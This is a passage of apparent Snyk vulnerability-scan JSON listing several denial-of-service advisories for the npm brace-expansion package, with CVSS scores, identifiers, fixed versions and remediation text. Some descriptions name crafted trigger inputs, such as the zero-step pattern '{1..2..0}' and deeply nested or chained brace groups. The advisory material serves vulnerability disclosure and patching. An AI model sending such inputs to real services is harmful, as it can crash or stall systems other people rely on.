"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
